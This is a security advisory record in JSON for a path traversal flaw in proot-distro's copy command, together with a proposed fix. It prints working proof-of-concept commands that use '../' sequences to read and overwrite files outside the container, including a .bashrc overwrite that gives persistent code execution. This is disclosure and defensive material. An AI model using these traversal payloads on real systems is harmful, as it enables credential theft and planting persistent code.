{"id":"GHSA-mfr4-mq8w-vmg6","summary":"PRoot-Distro has Path Traversal in proot-distro copy — Arbitrary Read, Write, and Persistent Code Execution Outside Container Rootfs","details":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch1\u003ePath Traversal in \u003ccode\u003eproot-distro copy\u003c/code\u003e — Arbitrary Read, Write, and Persistent Code Execution Outside Container Rootfs\u003c/h1\u003e\n\u003ch2\u003eRepository\u003c/h2\u003e\n\u003cp\u003ehttps://github.com/termux/proot-distro\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eMaintainer:\u003c/strong\u003e @sylirre\u003c/p\u003e\n\u003chr\u003e\n\u003ch2\u003eAffected Component\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ePackage:\u003c/strong\u003e proot-distro\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eAffected command:\u003c/strong\u003e \u003ccode\u003ecopy\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eAttack surface:\u003c/strong\u003e Host-side Termux CLI — this is not a guest distro shell issue\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eVulnerability type:\u003c/strong\u003e Path Traversal (CWE-22)\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr\u003e\n\u003ch2\u003eAffected Versions\u003c/h2\u003e\n\nComponent | Version\n-- | --\nproot-distro | 4.38.0 (initially discovered), 5.0.2 (confirmed still affected — tested on 2026-05-19)\nTest distro | Ubuntu 25.10 \"Questing Quokka\" (ubuntu alias)\nArchitecture | aarch64\nDevice | Samsung A23\nPackage source | https://packages-cf.termux.dev/apt/termux-main stable/main aarch64\n\n\n\u003chr\u003e\n\u003ch2\u003eProof of Concept\u003c/h2\u003e\n\u003cp\u003eAll tests were performed using only self-owned files and harmless marker data.\nNo root was used. No third-party data was involved. The \u003ccode\u003e.bashrc\u003c/code\u003e overwritten\nduring testing was immediately restored.\u003c/p\u003e\n\u003ch3\u003eStep 1 — Setup\u003c/h3\u003e\n\u003cpre\u003e\u003ccode\u003erm -rf ~/poc\nmkdir -p ~/poc\n\u003c/code\u003e\u003c/pre\u003e\n\u003chr\u003e\n\u003ch3\u003eStep 2 — Arbitrary write (overwrite a file outside the container rootfs)\u003c/h3\u003e\n\u003cpre\u003e\u003ccode\u003eecho \"ORIGINAL\" &gt; ~/poc/target.txt\necho \"PWNED_BY_PROOT_DISTRO\" &gt; ~/poc/evil.txt\n\nproot-distro copy \\\n  ~/poc/evil.txt \\\n  \"ubuntu:$(printf '../%.0s' {1..20})data/data/com.termux/files/home/poc/target.txt\"\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eObserved output:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e[*] Source: '/data/data/com.termux/files/home/poc/evil.txt'\n[*] Destination: '/data/data/com.termux/files/home/poc/target.txt'\n[*] Copying files, this may take a while...\n[*] Finished copying files.\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eVerification:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003ecat ~/poc/target.txt\n→ PWNED_BY_PROOT_DISTRO\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eThis confirms that the destination resolved to a path outside the container\nrootfs and the file was overwritten successfully.\u003c/p\u003e\n\u003chr\u003e\n\u003ch3\u003eStep 3 — Arbitrary read (exfiltrate a file from outside the container rootfs)\u003c/h3\u003e\n\u003cpre\u003e\u003ccode\u003eecho \"TOP_SECRET\" &gt; ~/poc/secret.txt\n\nproot-distro copy \\\n  \"ubuntu:$(printf '../%.0s' {1..20})data/data/com.termux/files/home/poc/secret.txt\" \\\n  ~/poc/read_result.txt\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eObserved output:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e[*] Source: '/data/data/com.termux/files/home/poc/secret.txt'\n[*] Destination: '/data/data/com.termux/files/home/poc/read_result.txt'\n[*] Copying files, this may take a while...\n[*] Finished copying files.\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eVerification:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003ecat ~/poc/read_result.txt\n→ TOP_SECRET\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eThis confirms that the source path resolved to a file outside the container\nrootfs and its contents were successfully copied to a host-side destination.\u003c/p\u003e\n\u003chr\u003e\n\u003ch3\u003eStep 4 — Persistent code execution via \u003ccode\u003e.bashrc\u003c/code\u003e overwrite\u003c/h3\u003e\n\u003cpre\u003e\u003ccode\u003eprintf 'echo VULN_TRIGGERED &gt; ~/poc/proof.txt\\n' &gt; ~/poc/payload.sh\n\nproot-distro copy ~/poc/payload.sh \\\n  \"ubuntu:$(printf '../%.0s' {1..20})data/data/com.termux/files/home/.bashrc\"\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eObserved output:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e[*] Source: '/data/data/com.termux/files/home/poc/payload.sh'\n[*] Destination: '/data/data/com.termux/files/home/.bashrc'\n[*] Copying files, this may take a while...\n[*] Finished copying files.\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eVerification before restart:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003ecat ~/.bashrc\n→\necho VULN_TRIGGERED &gt; ~/poc/proof.txt\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eAfter closing and reopening Termux, the new shell sourced \u003ccode\u003e.bashrc\u003c/code\u003e and\nexecuted the payload automatically:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003ecat ~/poc/proof.txt\n→ VULN_TRIGGERED\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eThis confirms that attacker-controlled content written into \u003ccode\u003e.bashrc\u003c/code\u003e executes\nautomatically on the next shell launch, resulting in persistent local code\nexecution within the Termux app context.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2\u003eAttack Scenario\u003c/h2\u003e\n\u003cp\u003eThe most realistic exploitation path is a confused deputy scenario: a community\nscript, Termux plugin, or automated tool calls \u003ccode\u003eproot-distro copy\u003c/code\u003e with a path\nderived from untrusted input. The attacker supplies a crafted container path.\nThe tool resolves it to a host-side location and reads or writes the file\nwithout any boundary check. The user sees normal command output and no\nindication that a file outside the container was touched.\u003c/p\u003e\n\u003cp\u003eOn a real device with SSH keys or stored credentials in the Termux home\ndirectory, the read primitive allows silent credential theft. The write\nprimitive to \u003ccode\u003e.bashrc\u003c/code\u003e allows persistent code execution triggered on next login.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2\u003eProposed Fix\u003c/h2\u003e\n\u003cp\u003eAfter resolving the container-relative path, verify that the canonical result\nremains inside the container rootfs before allowing any read or write operation.\nExample mitigation pattern in Python:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003eimport os\n\ndef safe_resolve(rootfs, container_path):\n    candidate = os.path.realpath(os.path.join(rootfs, container_path.lstrip('/')))\n    root = os.path.realpath(rootfs)\n    if candidate != root and not candidate.startswith(root + os.sep):\n        raise ValueError(\"path traversal detected: resolved path escapes rootfs\")\n    return candidate\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eThis check must be applied to both the source and destination paths in the\n\u003ccode\u003ecopy\u003c/code\u003e subcommand.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2\u003eAdditional Notes\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eThis issue was reproduced on the official Termux release from\nhttps://packages-cf.termux.dev, not a fork.\u003c/li\u003e\n\u003cli\u003eNo root access was used at any point during testing.\u003c/li\u003e\n\u003cli\u003eAll test files were self-owned and contained only harmless marker data.\u003c/li\u003e\n\u003cli\u003eThe \u003ccode\u003e.bashrc\u003c/code\u003e overwritten during testing was immediately restored after\nverification.\u003c/li\u003e\n\u003c/ul\u003e\u003c/body\u003e\u003c/html\u003e","modified":"2026-07-17T20:30:18.046384393Z","published":"2026-07-17T20:25:37Z","database_specific":{"github_reviewed_at":"2026-07-17T20:25:37Z","nvd_published_at":null,"cwe_ids":["CWE-22"],"severity":"MODERATE","github_reviewed":true},"references":[{"type":"WEB","url":"https://github.com/termux/proot-distro/security/advisories/GHSA-mfr4-mq8w-vmg6"},{"type":"PACKAGE","url":"https://github.com/termux/proot-distro"},{"type":"WEB","url":"https://github.com/termux/proot-distro/releases/tag/v5.1.0"}],"affected":[{"package":{"name":"proot-distro","ecosystem":"PyPI","purl":"pkg:pypi/proot-distro"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.1.0"}]}],"versions":["5.0.0","5.0.0b1","5.0.0b2","5.0.0b3","5.0.0b4","5.0.0b5","5.0.1","5.0.2"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-mfr4-mq8w-vmg6/GHSA-mfr4-mq8w-vmg6.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N"}]}